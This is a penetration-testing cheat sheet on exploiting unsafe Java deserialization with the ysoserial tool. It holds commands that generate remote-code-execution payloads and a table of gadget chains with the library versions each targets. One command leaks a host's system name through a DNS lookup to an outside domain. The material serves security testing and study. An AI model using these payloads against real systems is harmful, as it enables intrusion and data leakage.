Java Deserialization

Exploit

ysoserial (https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

```
java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin
java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64
```

payload	author	dependencies	impact (if not RCE)
BeanShell1	@pwntester, @cschneider4711	bsh:2.0b5	
C3P0	@mbechler	c3p0:0.9.5.2, mchange-commons-java:0.2.11	
Clojure	@JackOfMostTrades	clojure:1.8.0	
CommonsBeanutils1	@frohoff	commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2	
CommonsCollections1	@frohoff	commons-collections:3.1	
CommonsCollections2	@frohoff	commons-collections4:4.0	
CommonsCollections3	@frohoff	commons-collections:3.1	
CommonsCollections4	@frohoff	commons-collections4:4.0	
CommonsCollections5	@matthias_kaiser, @jasinner	commons-collections:3.1	
CommonsCollections6	@matthias_kaiser	commons-collections:3.1	

payload	author	dependencies	impact (if not RCE)
FileUpload1	@mbechler	commons-fileupload:1.3.1, commons-io:2.4	file uploading
Groovy1	@frohoff	groovy:2.3.9	
Hibernate1	@mbechler		
Hibernate2	@mbechler		
JBossInterceptors1	@matthias_kaiser	javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21	
JRMPClient	@mbechler		
JRMPListener	@mbechler		
JSON1	@mbechler	json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1	
JavassistWeld1	@matthias_kaiser	javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21	
Jdk7u21	@frohoff		
Jython1	@pwntester, @cschneider4711	jython-standalone:2.5.2	
MozillaRhino1	@matthias_kaiser	js:1.7R2	
Myfaces1	@mbechler		

payload	author	dependencies	impact (if not RCE)
Myfaces2	@mbechler		
ROME	@mbechler	rome:1.0	
Spring1	@frohoff	spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE	
Spring2	@mbechler	spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2	
URLDNS	@gebl		jre only vuln detect
Wicket1	@jacob-baines	wicket-util:6.23.0, slf4j-api:1.6.4	

Additional tools (integration ysoserial with Burp Suite):

- JavaSerialKiller (https://github.com/NetSPI/JavaSerialKiller)
- Java Deserialization Scanner (https://github.com/federicodotta/Java-Deserialization-Scanner)
- Burp-ysoserial (https://github.com/summitt/burp-ysoserial)
- SuperSerial (https://github.com/DirectDefense/SuperSerial)
- SuperSerial-Active (https://github.com/DirectDefense/SuperSerial-Active)

JRE8u20_RCE_Gadget https://github.com/pwntester/JRE8u20_RCE_Gadget (https://github.com/pwntester/JRE8u20_RCE_Gadget)

Thanks to

- Github - ysoserial (https://github.com/frohoff/ysoserial)
- Java-Deserialization-Cheat-Sheet - GrrrDog (https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
- Understanding & practicing java deserialization exploits (https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)